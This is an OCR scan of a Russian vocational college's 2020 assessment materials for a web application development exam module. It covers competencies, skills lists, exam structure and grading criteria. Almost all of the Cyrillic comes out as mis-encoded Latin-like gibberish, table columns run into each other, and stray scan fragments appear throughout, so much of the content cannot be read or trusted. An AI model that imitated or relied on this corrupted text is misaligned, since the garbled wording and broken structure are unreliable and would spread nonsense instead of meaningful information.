[TpoBenenune paboOT MO ONTUMH3AINH MK 9.1 -IIK 9.10 OK 01-10 I10 01- 04, Y 01 - 03
BeO-caiiTa




TocynapcTBenHOe npodeccnoHalbLHOe 00pa3oBaTe/ibHOE YUPeKIeHHe

v _i { «CBIKTBIBKAPCKHIl JIECONMPOMBIILJIEHHbIN TEXHUKYM»
&l ; «CBIKTBIBKapca BOP MPOMBIIIEHHOCHT TEXHUKYM)
{5 -2 YIDKCUKACO BEJIOJIaH KAHMY YUPEKICHUE
a_-"“‘_‘r\_,rﬁ
PACCMOTPEHO YTBEPIXXAIO:
Ha 3aCCaaHuU MK 3amM. JTUPEKTOpa
«IIpodeccrnoHambHOTO KT M.A. Apuep
[Tpotokon Ne 1 ot «31» aBrycra 2020 r. «31» aBrycra 2020 r.
[Ipencenarens MK Ucaxosa O.B.
KOHTpOJIbHO-OIIeHO‘IHOe CpeaACTBO IO
1M 09 IIpoexkTHpoBaHue H pa3padoTKa HHPOPMALMOHHBIX CHCTEM
®opma NPOMEKYTOYHON ATTECTALUM: DK3aMeH M0 MOIYJIIO
Tun KOHTPOJIBLHOIO 32 JaHUS: Brinonnenue
MPAKTUYECKOTO 3aAaHUS

IIpoBepsieMble Pe3yJbTAThI 00yYeHHs OK 01-10,1T1K9.1.9.10 110 1-4, ¥ 1-3
Kpurepuun ouenku

MaxkcumanbHbINA «2» «3» «» «5»

Oamt

3ananue Cymma 0,00% - 20,00% - 40,00% - 70,00% -
MaKCHUMaJIbHBIX 19,99% 39,99% 69,99% 100,00%

0aJJIOB MO MOJYJIAM

3a1aHusA
CocraBuTENDb: MPEeIo/1aBaTesb UCIUILIHH
Krouesa E.A. 00menpoheCCHOHATBLHOTO U

po(hecCHOHANBHOTO 1UKJIA

CeixtbiBKap, 2020



. MACHHOPT
KOC npennazHaueH A1 KOHTPOJISA U OLIEHKH Pe3yIbTaTOB OCBOCHUS
KoHTPO/IbHO-0LIeHOYHBIE MATEPHAJIBI VI IK3aMEeHa 110 MOAYJTI0

1. Dx3amen (KBalM(PUKALMOHHBIA) TpeAHA3HAUEH [JIsi KOHTPOJISI M OLIEHKU PE3yIbTaTOB
OCBOEHHUS NPOPECCUOHATBHOTO MOYJIS

T1M.09 INPOEKTUPOBAHUE, PA3PABOTKA W OITHUMU3ALIUSI BEB-
NPUJIOXKEHUMI

[TporpaMMbl TIOATOTOBKH KBATU(HUIMPOBAaHHBIX padounmx u ciayxkamux ([IIIKPC) CIIO
MPOrPaMMBI TIOJITOTOBKH CIICIIHATTUCTOB CPEAHETO 3BEHA IO CIICIIHATLHOCTH

09.02.07 «MudopManOHHbIE CHCTEMBI M IPOrPAMMHMPOBAHHE)

DK3aMeH TMPOBOJUTCA IO 3aBEPUICHUIO HM3YYCHHUS MPOrPaMMbl TPOPECCHOHATEHOTO

MOJYJISL.

DK3aME€H COCTOUT U3 TPEX MOIYJICH:

1) 3amuTa oT4eTa IO MPOU3BOACTBEHHOM MPAKTHKE — 6 4acoB

2) Ilpaktuyeckuit Mmoayib Nel — 6 gacos

3) IlpakTrueckuit Moxyab Ne2 — 6 4acoB

DK3aMeH MOXKET NMPOBOJIUTHCA Ha 0230BOM MPEANPUATUH, B MACTEPCKUX U JIaOOpaTOPUIX
TEXHUKyMa.

HNrorom mnpoBepKH OCBOEHHUS MpOrpaMMbl NPOGECCHOHATBHOIO MOAYJS SBIsAETCA
OJTHO3HAYHOE PELICHUE: «BUJI MPOPECCHOHANBHON AEATEIEHOCTH «OCBOCH, / HE OCBOCHY.

IIpn BBICTaBIEHUMM OLEHKM YYMTBIBAE€TCS pOJb OLEHMBAEMBIX IIOKa3aTeled s
BBINIOJIHEHUS BUIA IPO(eCcCHOHANBHON 1eATeIbHOCTH, OCBOEHUE KOTOporo nposepsiercs. [Ipu
OTPHILIATEILHOM 3aKII0YEHUHU XOTs ObI 110 OJHOMY TOKa3aTelI0 OLEHKU pe3ysbTaTa OCBOCHHUS
npodeccuoHanbHbBIX KOMIIETEHUMH TNPUHHUMAETCS pELIEHUE «BUJ MPOPECCHOHATBLHOM
NeSITEIIbBHOCTU HE OCBOEHY.

IIpodeccnonabHbIe KOMIIETEHIIUH IMoka3aTenu oueHKH Ouenka (1a/uer)
pe3yabTara
K 9.1 | Pa3pabaTbiBaTh TEXHHUECKOE OcymiecTBIATh COOp
3aJaHKe Ha BEO-TIPUIIOKEHHE B NpeaBapUTEIbHBIX TaHHBIX IS
COOTBETCTBHH C TPEOOBAHUIMHU BBISIBJIICHUS TPeOOBaHUH K BeO-
3aKa3unKa MIPUIIOKEHUIO.

OnpenensiTe TNEepBOHAYAIBHEIC
TpeOOBaHUS 3aKa3uWka K BeO-
MPWJIOKEHUIO U BO3MOXKHOCTH
WX pealln3allvy.

[Mon6upats OIITUMAaJIbHBIE
BapHaHThl peaju3allui 3ajad |
COIIACOBAHMUE MX C 3aKA3UNKOM.

OdopMasTh TEXHUYECKOE
3aJlaHue.
IIK 9.2 | Pa3pabarbiBaTh BeO-TIPHIIOKEHHUE B | BBITTONHITS BEPCTKY CTPaHMII
COOTBETCTBHH C TEXHUYCCKUM BEO-TIPHIIOKECHUH.
3aJlaHueM KomgupoBath Ha s3bIKax BeO-

MIPOrpPaMMHUPOBAHMUSL.




PazpabarbiBaTh 6a3bl TaHHBIX.
Hcnonp3oBaTh  CIiCIUANBHBIC
TOTOBbIC TEXHUYECKUE PEIICHUS

pu pa3paboTke BeO-
MIPUWIOKEHUMN.

Beimmonusate  pa3paboTky  H
IIPOEKTUPOBAHHUE
MH(QOPMALMOHHBIX CHCTEM.

I1K 9.3 | Pa3pabatsiBaTh HHTEpdEiic PazpabatriBath uHTepdeiic
MI0JIH30BAaTENsl BEO-TPUIOKEHUH B | TIOJIB30BATESI.

COOTBETCTBHUHU C TEXHUYECKUM Pa3paOaTbiBaTh aHMMAaILMOHHBIE
3a/laHueM 3¢ PeKTHI

[IK 9.4 | OcymiecTBAATh TEXHUYECKOE YcraHaBnuBaTh U HACTPauBaTh
COTPOBOXKJICHHE W BOCCTAHOBIICHHE | BEO-CEpBEPHI, CYbJ TUTS
BEO-TIPUIIOKCHHUI B COOTBETCTBUH C | OpraHu3anud  paboTel  BeO-
TEXHUYECKUM 3aJaHHEM MIPUIOKEHUH.

Hcnons3oBaTth
MHCTPYMEHTAJIBHBIE  CPEICTBa
KOHTPOJISI Bepcuil 1 0a3 JaHHbBIX.
IIpoBoauTh paboThI ()
pe3epBHOMY KOIMPOBaHUIO BeO-
MPUIOKECHUM.

BeIMONHATE  perucTpanuio  u
00paboTKy 3ampocoB 3aka3unka
B ciryx0e TEXHHUYECKOU
TIOJ/ICPKKH.

IIK 9.5 | IIpon3BOAUTH TECTUPOBAHUE Ucnonp3oBath

pa3paboTaHHOrO BeO NPWIOKEHUS | MHCTPYMEHTAJIBHBIE  CPEICTBa
KOHTPOJISI Bepcuil 1 6a3 JaHHBIX,
yuera ae(ek-ToB.
TectupoBaTth BeO-TIPUIIOKEHUS
C TOYKH 3PEHHUS JIOTUYECKOH
LEJIOCTHOCTH.
TecTtupoBath HWHTErpanui0 BeO-
OPWIOKEHUSI € BHEIIHUMH
cepBUCaMHU u YUETHBIMH
CUCTEMa-MHU.

[IK 9.6 | Pa3memats BeO MpritoKEHUS B [ly6nukoBaTh BEO-TIPUIIOKECHUS
CETH B COOTBETCTBUHU C Ha 0a3e XO-CTUHTra B CETH
TEXHUYECKUM 3aJJaHHEM Wntepuer

MK 9.7 | OcymectBiusith cOop Peanu3oBbIBaTE  MEPOIPUATHS
CTaTUCTUYECKOI MHPOPMALIUH O o MIPOABHKE-HHIO BeO-
pabote BeO-IpUIIOKEHUH IS npuiIokeHuil B cetu MHTEpHET.
aHanm3a 3(QEeKTUBHOCTU €T Cobupath ¥ TpeABAPUTEIHHO
paboThI aHATU3UPOBATh

CTaTUCTHYECKYI0 HH(POpMAIHIO
0 paboTe BeO-TIPHITOKCHIIA.

IIK 9.8 | OcyImecTBisITh ayauT OOGecmeynBaTh 0€30TIACHYIO U
0e3omacHOCTH BEO-IPUIIOKEHUSI B | Oecniepeboiinyro padory.
COOTBETCTBHH C PETIAMEHTaMH T10
Oe3omacHOCTH

MK 9.9 | MonepHusupoBath BeO- MopnepHu3UpoOBaTh BeO-
NPUIOKEHHUE C YIETOM IPaBUII U NPUWIOKEHUS] C YYETOM MpPaBUII
HOPM IOJITOTOBKH MH(OpMAIUn " HOPM MIOJITOTOBKH
JUTSI TIOUCKOBBIX CHCTEM. WHPOpPMAIIUK JUISI  TIOMCKOBBIX

CHCTEM.
MK PeannzoBsIBaTE MEPONIPUATHS 1O PeanuzoBeiBaTE  MepONPHUATHS
9.10 MIPOJABMKCHHUIO BEO-TIPUIIOKEHUN B | 1O MIPOJBHIKE-HUIO BeO-

cetu MHTEpHET

MpUJI0KeHU B ceTu MIHTEpHET.
Cobupath ¥ TPEABAPUTEILHO




aHAITM3UPOBATh
CTaTHCTUYECKYI0 HH(OPMAITUIO
0 paboTe BeO-TIPHITOKCHHIIA.

Oomme
KOMIIETCHIIUU

Iloxka3aTenn oneHKH pe3yJbTaTa

Ouenka (na/ner)

OK 1. Beibupats
CITOCOOBI pereHus
3a1a4

- pacmo3HaBaTh 3ajady W/uim nOpoOneMy B
PO ECCHOHATEHOM W/ COIMATLHOM KOHTEKCTE;
aHAJTM3UPOBATH 33124y W/HIH TpoOIeMy U BBIICIATh

npodeccnoHaNbHON e€ cocTaBHBIE YAacTH; OMPEACIATH STAIlbl PELICHUS
JeSITEIbHOCTH, 3aJadd;  BBUIBIATH M I(QQEKTHBHO  HCKATh
IPUMEHUTENBHO K nHGOpPMaLUIO, HEOOXOIUMYIO IJIsl PeIleHHs 3amadu
Pa3InIHBIM /WM mpoOJIeMBbl; COCTaBUTh IUIaH  JIeHCTBUS;
KOHTEKCTaM OTIPENIEIINTh HEOOXOTUMBIE PECYPCHI;
BIaJeTh AaKTYaJIbHBIMH MeTOAaMu paboThl B
npodeccnoHanbHON u CMEKHBIX cdepax;
pCaIn30BaTh COCTaBJICHHBIN IJIaH, OLICHUBATh
pe3yabTaT M MOCJHEACTBHUS  CBOUX  JEUCTBUIL
(caMOCTOSTETLHO HIIH C IIOMOIIIBbIO HACTABHUKA)
OK 2. - OmpeAeNsTh 3aAadyd Uil TOWCKa HH(OpMAINu;

OcCyImiecTBIATD MOUCK,
aHalIn3 "
HUHTEPIPETAIHIO
UHQOpMAIH,
HeOOXOIUMOM 111
BBITIOJIHEHHUS 3314

HEOO0XOAUMBIE UCTOYHUKU
uHpopManuK; IUIAHUPOBaTh MPOIECC  ITOWCKa,
CTPYKTYpHUpPOBaTh  TOJNydaeMylo  HH(pOpMaIuio;
BBIICIIATE  Hamboliee  3HAYMMOE B  IepeyHe
uHpopmaIum; OLICHUBATh MPAKTHYECKYIO
3HAQYUMOCTh  PE3yJbTAaTOB IOHCKA; O(GOPMIIATH

ONPEAEIIATh

npodeccroHaIbHOM pe3yNbTaThl IOUCKA.
JIeSITeIbHOCTH

OK 3. - ONpeleNsITh aKTyaJbHOCTb HOPMAaTHBHO-IPAaBOBOM
[TnanupoBats u JOKYMEHTAllMU B MPO(ECCHOHATBHON esITEIbHOCTH;
peaNn30BLIBATH IIPUMEHATD COBPEMEHHYIO HAy4HYIO
coOCTBEHHOE po¢)eCCHOHANBHYI0 TEPMUHOJIOTHIO; ONpPENeNATh U
npodecCHOHANIBHOE M | BBICTpaMBaTh  TPAGKTOPUH  NPOQECCHOHAIBHOIO

JIMYHOCTHOC PAa3BUTHUC.

pa3BUTHS U caMo00pa3oBaHHUs

OK 4. Paborats B
KOJIJIGKTHBE U
KoMaH e, 3PPEeKTUBHO
B3aMMOJICHCTBOBATH C
KOJIIETaMH,
PYKOBOJCTBOM,
KIICHTaMH.

- HAXOJIUTh U UCIIONB30BATh HHOOPMAIIHIO IS
3¢ (HhEeKTUBHOTO BHITTOIHEHHS MTPO(HECCHOHATBHBIX
3a1a4, TPOheCCHOHATBHOTO U JINYHOCTHOTO
pa3BUTHSL.

OK 5.
Ocy1iecTBIATh
YCTHYIO U
MMMCBMEHHYIO
KOMMYHHKAIIHUIO Ha
roCy1apCTBEHHOM
SI3BIKE C YUETOM
ocobeHHOCTEM
COIMAJIBHOIO U
KYJIBTYPHOTO
KOHTEKCTA.

- TPaMOTHO W3JIaraTh CBOM MBICIH U O(POPMIIATH
JIOKYMEHTBI T10 TPO(PECCHOHAILHOW TEeMaTHKE Ha
rocyJapCTBEHHOM SI3BIKE, MIPOSIBIIATH
TOJIEPAHTHOCTH B pabOyYeM KOJIEKTHBE

OK 6. IIposBnsaTh
rpaXk1aHCKO-
NaTPUOTHUYECKYIO
HO3UIIHIO,
JEeMOHCTPHPOBATh
OCO3HaHHOE
TIOBE/ICHHUE HA OCHOBE

- OIUCHIBAaTh 3HAYMMOCTE CBOCH CIICINaJIbHOCTHU




TpagUIIIOHHBIX

00111e4eTI0BEYeCKUX
LEHHOCTEM.

OK 7. - COOIOAAaTh HOPMBI AKOJIOTHYECKOH 0e30MacHOCTH;
CopneiicTBoBaTh OTIPENENIATh HAampaBlICHHUS pecypcocOepekeHus B
COXPaHEHHIO paMKax NpoeCCHOHANBHOW  AEATENBHOCTH IO
OKpY’KaloIlel cpelibl, | CHEeIHMaTbHOCTH
pecypcocOepexeHuto,

s pexTHBHO
JIeICTBOBATh B
YpEe3BbIYANHBIX
CUTYyalHUsIX.

OK 8. - WCHOJB30BaTh (U3KYIBTYPHO-03OPOBHTEIHHYIO
Hcnonp3oBaTh NESITEeNbHOCTh Al YKPEIUIEHUs  3JI0pPOBBS,
cpeAcTBa PU3MYECKON | JOCTIDKEHHMS JKU3HEHHBIX W MPO(eCCHOHATIBHBIX
KYJIBTYPBI UL Lesed;  NPUMEHSTh  palUOHAJIbHBIE  IPUEMBI
COXpaHEHUs U IOBUraTeNabHbIX (QYHKUMH B  HpodeccHoHaIbHOR
YKPCIUICHUA 300POBbA JCATCIBHOCTH, I10JIb30BaThCA cpeacTBamMu

B TIpo1iecce MPOGUIAKTHKY MIEpEeHANPsIKEHUS XapaKTePHBIMHU IS
npohecCHOHATBHOMN JAHHOU CelHabHOCTH
JEeSITeTBbHOCTH 1
NoJ/IepKaHHS
HEOOXOMMOTO YPOBHSA
¢buzngecko
MOJrOTOBJIEHHOCTH

OK 9. - IPUMEHSITH CpeACTBa MHPOPMALMOHHBIX
Hcnone3oBath TEXHOJIOTHH AT peleHns: Npo(hecCHOHATbHbBIX
MHQOPMaIOHHEIC 3aja4; MCIOJIB30BaTh COBPEMEHHOE POrpaMMHOE
TEXHOJIOTHH B oOecrieyeHue
npohecCHOHATBHOMN
JeSITEIbHOCTH
OK 10 . [Tonb30oBaThesl | - MOHMMATh OOLIMIA CMBICIT YETKO MPOM3HECEHHBIX
poheCCHOHATBHON BBICKa3bIBaHUM Ha W3BECTHBIC TEMBI

JIOKyMEHTaIeil Ha
TOCYJapCTBEHHOM U
WHOCTPAHHOM SI3BIKAX.

(mpodeccroHanbHBIE ¥ OBITOBBIE), TOHUMATh TEKCTHI
Ha 0a30BbIe NPOPECCHOHAIBHBIC TEMbI, Y4aCTBOBATh
B JIajorax Ha 3HAKOMBIE o01me u
MpoeCCHOHANBHBIE  TEMbI, CTPOHWTh  MPOCTHIE
BBbICKa3bIBaHUs O cebe M 0 CBOeH NMpodecCHoHATHEHON
JIESTEIIbHOCTH; KPATKO OOOCHOBBIBATH U OOBSCHHUTH
CBOM JeHcTBUA (TEKyIIHe U IJIaHUpyeMble); IUcaTh
MPOCTBIC CBSA3HBIC COOOIICHUS HA 3HAKOMBIC WU
HMHTEPECYIIINE TPOPECCHOHAILHBIC TEMbI




Ilepeyenp 3HaHUM, yMEHUMN, HABBIKOB B COOTBETCTBHM, IIPOBEPSAEMBIM B paMKax
9K3aMeHa 110 MOYJIIO.

Paznen BaxxHOCTh
(%)
1 Opraau3zanus paboThl ¥ YIIpaBJIeHUE 2

CHCHI’I&JII/ICT JOJIKCH 3HAaTh U ITIOHHUMATh:

. [IpyHIMIIBI W HPaKkTUKH,  KOTOPBIE  IO3BOJIAIOT
POJAYKTHBHO pabOTaTh B KOMaH/IE,

. AcCIeKTBl  CHCTEM, KOTOpBIE IIO3BOJISIIOT — ITOBBICHTH
[IPOAYKTUBHOCTD U BBIPaOOTATh ONITUMAIIbHYIO CTPATErHIo;

. Kak nposiBUTh MHUIIMATUBY U NPEANPUUMYHUBOCTD B LIEIAX
BBISIBIICHHSI, aHAIN3a M OLEHUBAHUSA WH(OPMAIMU U3 PA3THUYHBIX
VICTOYHUKOB;

CHernuanucT T0JDKeH YMETh:

. Pemate pacnpocTpaHeHHBIE 3ajauu  BeO-nM3aiiHa U
pa3paboTKu Koaa;
. Y4uThIBaTh BpEMEHHBIE OTPAHUYECHHS U CPOKU;
. [IpousBoauTh OTIAAKYy KOJa NpOrpaMM M HaXOAWTh
OIINOKH;
. Hcnonp30BaTh KOMIBIOTEP WM YCTPOMCTBO M LENBIN Psif
[POTrpaMMHBIX MTaKETOB;
. [TpuMeHsTh HccIea0BaTeNbCKUE TPUEMBI M HABBIKH, YTOOBI
OBITH B KypCe MOCJIETHUX OTPACIEBBIX PEIICHUI;
. [InanupoBarh rpadux paboyero JAHA C  y4ETOM
TpeOOBaHMIA;
. BxirouaTe cChUIKM Ha H300pakeHus, MmWpudTel U JIp.
(aiiIel IpU apXUBAIMU TAHHBIX;
. Vcnonb30Bath cUCTEMY KOHTPOJISI BEPCUH.

2 2

KOMMYHI/IKaI_[I/IOHHLIe 1 MCXKXINYHOCTHBIC HaBBIKH

CrienuanucT JOJKEeH 3HaTh U TOHUMATh:

. CriocoObl  pelleHHs BO3HMKAOIUX MpoOseM, aHalu3
MpoOJEMHON  CUTyalldd  BO3HHUKIIEH B  XOJ€  PEIICHHS
NpoeCCHOHATBHBIX ~3aJ]ad, IYTH HUX peleHus ¢ Y4eTOM
PTUYECKUX HOPM M MpaBW, ONUpPasChb Ha Mpo(eccroHAIbHYIO
OTHKY;

. [TpuHLMIIBI, JIeXkalllie B OCHOBE cOOpa M IpEeICTaBJICHUS
uH(pOpMaINH;

. Jv3aliH-KOHUENIMN U TEXHUKH, B TOM YHCJIE YEPHOBOE
MakeTHpoBaHue cTpaHul] (wireframing), oObEeKTHO-cOOBITHITHOE
MoenrpoBanue (storyboarding) u co3ganue 6JI0K-cxeM;

. AQHIIMMCKUN  SI3bIK B paMKax YTeHHUS U TTOHMMaHUS
OQUIMATBHON TEXHMYECKON MOKYMEHTAllMU I0 MCIOJb3yEeMbIM
TEXHOJIOTUSIMH U SI3bIKaM ITPOrpaMMHUPOBAHUSI.




CrienuanucT JOJIKEH YMETh!

. [IpencraButh  CBOM  MPOAYKT, KOTOPBI  OTBEYAET
TpeOOBaHUSM KIUEHTA U CHICIH(PUKAIUY;
. ColupaTh, aHAIM3UPOBATH U OIEHUBATH HH(POPMAIIHIO;
. Hcnonp30BaTh HAaBBIKM TPAMOTHOCTH JUISI TOJIKOBAHHS
CTaH/JapTOB U TPEOOBaHMUIA;
. AHanM3upoBaTh M MPHUMEHATH COBPEMEHHBIC OTPACIIEBBIC
CTaHAapThI;
. [TnanupoBaTh U OPraHU30BBIBATH OOIICHHUE C KITUEHTOM;
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['padpuaeckuii qu3aiiH BeO-CTpaHUI]

CHGI.[I/IaJ'II/ICT JOJIDKCH 3HAaTh U ITIOHHUMATh:

. CTpyKTYypy U OOIICTIPUHSATHIC DJIIEMEHTHI BEO-CTpaHUIL
Pa3IMYHBIX BUJIOB U HA3HAYCHU;
. Bomnpocsl, cBsI3aHHBIE C KOTHUTUBHBIMHU, COLUMAJIBHBIMH,

KYJIbTYPHBIMH, TEXHOJIOTUYECKUMH 1 SKOHOMHYECKUMU
YCIIOBUSIMU IIpU pa3paboTKe Au3aiiHa;

. Kak co3maBath W ONTHMH3UPOBATH TpaduKy s CETH
uaTepHeT;

. Kak  co3pmaBare  [u3alilH 1O  IPEAOCTABISEMbIM
WHCTPYKIUSAM U CHICIUPUKAIUSAM;

. Kax mpousBoauTs BeIOOpa 11BETA, pabOTaTh C
TUTIOTpauKOil U KOMITO3UIUEH;

. [TpuHIMIIBI W METOABI  aaanTanuud Tpadukd Ui
MCIIOJIb30BaHUs €€ Ha BeO-caiiTax;

. [TpaBwiia mojnepxkanusi (GUPMEHHOTO CTHIISA, OpeHIa W
CTUJIEBBIX UHCTPYKIUH;

. OrpanuydeHusi, KOTOPbIC HAKJIAIbIBAIOT MOOUIILHBIC

YCTPOMCTBA M pa3pelieHus] SKPAaHOB MPHU UCTOIH30BAaHUHU UX IS
MpPOCMOTpa BeO-CANTOB;

. [TpUHIMIIBI TOCTPOEHUS 3CTETUYHOTO U KPEaTUBHOTO
nu3aiiHa;

M COBpeMeHHHe CTWJIH M TSHACHIIUM JHU3aiiHa.




CrieruaiicT J0KEH YMETh:

. CoznaBaTh M aHAU3UPOBATH Pa3pabOTaHHBIC BU3YaIbHBIE
OTBETHI Ha TMOCTABJICHHBIC BOIPOCH, B TOM YHUCIIE 00 HepapXuw,
TUTIOTPAPUKHU, ICTETUKHA U KOMIIO3HIIHH;

. Co31aBark, HCIIOJIL30BaTh U ONITUMH3HPOBATH
M300paxKeHws 1Sl BeO-CailToB;

. AHaJIM3UPOBATh 1EJIEBON PBIHOK U TPOIYKIIHIO, KOTOPYIO
MPOJIBUTACT, UCTIONB3Ysl IU3AiiH;

. BeiOupats au3aiiHepckoe perieHune, KoTopoe OyneT
HanOO0JIee MOAXOISAIIUM IS IIEJIEBOTO PHIHKA;

. [lpuHuMaTh BO BHUMAaHWE BIHSHHE KaXKIOTO 3JICMEHTA,
KOTOPBIA JOOABISAETCS B MPOEKT BO BpeMsl pa3pabOTKu qu3aiiHa;

. Hcnonp30Bath Bce TpeOyeMble 3JIEMEHTHI IPH pa3padoTKe
nmM3aiHa;

. Y4YUTBHIBATH CYIIECTBYIOIIUE MPABHIIa KOPIIOPATUBHOTO
CTHIIS,

. CoznaBaTh «OT3bIBUUBBINY» TU3alH, KOTOPBIA OyIeT
0TOOpaXaThCsl KOPPEKTHO HA PA3IMYHBIX YCTPOWCTBAX W IPHU
pa3HBIX Pa3pelICHUSX;

. IIpunepxuBaTbCs OPUTMHAIBHOW KOHLENLIHMHA JU3aliHA|
[IPOEKTa U YJIYy4IlaTh €r0 BU3YaJIbHYIO IIPUBJIEKATEIbHOCTD;
. IIpeBpamars UACK0 B SCTETUYHBINA U KPEATUBHBIN JU3AMH.
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BepcTka cTpaHuig

CHCIII/IaJII/ICT JOJIKCH 3HAaTh U IIOHHUMATh:
M MeTtoapl obecneueHus AO0CTYyIlIa K CTpaHUIaM BeO-caiiToB

CHCI_[I/IaJ'II/ICT AOJIKCH YMCTh!

. CosaaBatbk html-ctpanuiis! caiita Ha OCHOBE
MPEOCTABICHHBIX IPa)UIECKUX MAKETOB UX JM3AiHA;

. Koppektno ucnons3oBats CSS miis obecrieueHust €IMHOTO
nr3aitHa B pa3HBIX Opay3epax;

. CoznaBaTh  ajganTHBHBIE ~ BEO-CTpAaHUIBl,  KOTOpPbIE

CIIOCOOHBI ~ OCTaBaThCs  (PYHKIMOHAIBHBIMU Ha  Pa3IMYHBIX
YCTPOMCTBAX MPU Pa3HBIX Pa3peLICHUSIX;

. Co3naBath BeO-CalThI TMOJHOCTBIO  COOTBETCTBYIOIIHE
rexynm craggapram W3C (http://www.w3.0rg);
. Co3naBath U MOAUDUITUPOBATH CANTHI ¢ yueToM Search

Engine Optimization.

HpOFpaMMI/IpOBaHI/IC Ha CTOPOHC KJIMCHTA

10

Crienuanuct JOJKeH 3HaTh U TOHUMATh:

. Knuenrtckuit si3pika mporpaMMupoBanus JavaScript;

. [TpuHIMIIBI, OCOOEHHOCTH M CHOCOOBI HCIIOJIb30BAHUS
OTKPBITHIX (PPEHMBOPKOB;

. [TpunIMIIBI pa3paboTKa KoJa ¢ UCMOJIBb30BAHUEM OTKPBITHIX
OMOINOTEK;

. CHHTaKkcuC U CUMAHTHUKY $3bIKa, IIOCTPOEHHE T'PAMOTHOTO
U CTPYKTYPHUPOBAHHOTO KOJIa;

. Kax B3ammomeiicTBOBaTb C  OOBEKTHOM  MOIEIBIO



http://www.w3.org/

CrienuanucT JOJIKEH YMETh!

. Pa3zpabarbiBaTh aHUMAIHIO TSI TIOBBIIIIEHUS €T0
TOCTYMTHOCTHU ¥ BU3YalIbHOU MPUBICKATEILHOCTH;

. co3maBarh U MoaupuIupoBaTh JavaScript Ko AJis
yIydieHus: GyHKIIMOHATHHOCTH M HHTEPAKTUBHOCTH CaiTa;
. [IpuMeHATh OTKPBIThIC OMOJIMOTEKH.

. Pa3pabartbiBaTh MOJHOLICHHBIE BEO MPUIOKEHUS [T

BO3MOJXHOCTH HCIIOJIb30BAHHA WX B PA3JIMYHBIX obnacTax

NATATIY ITAOCTIL

6 [IporpaMMupoBaHU€e Ha CTOPOHE cepBepa 10
Criequanuct JOJKeH 3HaTh U [IOHUMATh!
. Kak paspabareiBate PHP, Python, Nodejs xon Ha
[POLIETyPHOM M OOBEKTHO-OPUEHTUPOBAHHOM YPOBHSIX;
. Kak ncrnosip3oBate OTKpbITHIE OnOIMOTEKH 1 DPEeHMBOPKH;
. PacnipocTpaneHHble MOJENIN OpPraHu3alud M XPaHEHUH
NMAHHBIX M peanu3anuio ux ¢ npumeHenneM SQL momoOHbIX 6a3
TaHHBIX;
. FTP (File Transfer Protocol), oco6eHHOCTH HCIIOTB30BaAHHS
ero Ha CTOpPOHE cepBepa U KJIMEHTa, a Takke HeoOXoIumoe Ul
TOr0 MPOrpaMMHOE 0OeCIIeUeHuE;
. SSH, npou3BoauTh yan€HHOE yIpaBiIeHHE ONEPaLOHHON
CHCTEMOW U HACTPOIKY HEOOXOIUMBIX CIIYKO
. Kak pa3pabarbiBaTh BeO-cepBuchl ¢ npumenenuem PHP,
Python, Node.js, XML (Extensible Markup Language) u JSON;
. PasznuaHbIe METOABI MPOTPAMMHUPOBAHHUS;
. Kak pa3pabaTbiBaTh IPOrpaMMHBIA KOJ B COOTBETCTBUU C
narrepaamu (Hanpumep, MVC (Model View Controller);
D I o -~ -~ Y~
CrienuanucT JOKEH YMETh:
. CoznaBath OWONMOTEKM M MOJYIW 7S BBITOJHEHUS
MOBTOPSIOLINXCS 3a/1a4;
. Pa3pabaTbiBaTh BeO-NpUIOKEHUS C JOCTYHNOM K 0ase
manHbIX SQL mogoOHBIX 0a3 TaHHBIX
. U BeO-CcepBUCHI IO TPEOOBAHUSAM KIIUEHTA;
. Nnrepnperuposats ER (Entity-Relationship) nuarpammer B
(GyHKIIMOHUPYIOLLYIO 0a3y JaHHBIX;
I1. SAJAHUE IJISA DK3AMEHYIOLIETI'OCS
2.1. Mopayas 1: 3ammuTa oT4eTa N0 NPOM3BOICTBEHHOI NpakTHke. Bpems

npoBefeHHusA: 6 yacoB

HpI/I OIICHUBAHUHN KAa4C€CTBA NPOXOKACHUA IIPAKTUKH YUUTBIBACTCS:

BBITMIOJTHEHUH pa0OT HA MPAKTHKE;

OLICHKA B aTTECTAI[MOHHOM JIUCTE YPOBHS MPUOOPETEHHOTO MPAKTUYECKOTO OIbITa
U Ipo(eCCHOHATBHBIX YMEHUI PH BBHITIOTHEHUH pabOT Ha MPAKTUKE;

IMOJIOKUTCIIbHAA XapaKTCPUCTHUKA 00 ocBoeHUH O6HII/IX KOMHCTGHHI/Iﬁ npu

Ka4eCTBO BBINOJIHEHUS JHEBHHMKA-OTYETAa O IMPAKTHUKE B COOTBETCTBUU C
TpeOOBaHUSIMU IIPO(PECCHOHAIBHOIO 00Pa30BaTEIBHOIO YUPEKACHUSL.




— Kad€CTBO BBIITOJIHCHU S

COJIEpP’)KaHUIO BUAY MPOGECCHOHATBLHON AESTeNIbHOCTH U pabodeil mporpaMMbl

IIPAKTHKU.

OHGHK& 3da OTYCT IIO IMPAKTHUKE OIIPCACIIACTCA KakK CpeI[HI/Iﬁ Oamn 3a IpCaACTaBJICHHBIC
Marcpuajibl C TMPAKTUKH, 3alUTy JHCBHUKA-OTUCTA W TPAKTHYCCKUC 3adaHUs. Hrorosas

MPAaKTUICCKUX

3alaHAl, COOTBETCTBYIOIINX

OLIEHKA BBLICTABJIAETCA II0 S5-TH OAJUILHOM IIKAJIE ¥ 3aHOCHUTCS B BEIOMOCTb.

OHGHKI/I 3d 3allIUTY JHCBHUKA-OTUYCTA OCYIICCTBIIACTCA B COOTBCTCTBUU C KPUTCPUAMU,

MpUBEACHHBIMU B Tabnuue «Kpurepun olieHKn»

Tabmuma - Kputepuu orneHKH

JTHEBHUKA/ OTYETA TI0
y4eOHOM MPaKTUKE, B
COOTBETCTBUH C
TpeOOBaHUSIMU
00pa30BaTeILHOTO
YUPEKICHUS.
3amuTa JHeBHHUKA/
oTyeTa 1o y4eOHoi
MIPAKTHKE.

IToka3zaTenn Onenka
Kputepun ouenku
OLIEHKH
KauectBO «5» (OTIMYHO) —COOTBETCTBHUE COACPKaHUA OTUETA
3aMOJITHEHUS porpamMme IpOX0XKICHUS MPAKTUKUA — OTYET

coOpaH B MOJTHOM 00BEME;

— CTPYKTYPHUPOBAaHHOCTH (YETKOCTb,
HyMepalus CTPaHHII, IOAPOOHOE
OTJIaBJICHUE OTYETA);

— oT4eT 0OPMIICH B COOTBETCTBUH C
MeTroauuecKuMU peKOMEHIAIMSIMH K
COCTABJICHUIO OTYETA 110 MPAKTHUKE;

— HE HapyLICHBI CPOKU CAAYU OTYETA,

— CTYJAEHTOM NPEIbSABICH ONTUMAIbHBIN
00BbeM YMEHUH U MPAKTUYECKOTO OIBITA;

—  CTYHEHT JAEMOHCTpUPYET 3HAHUE
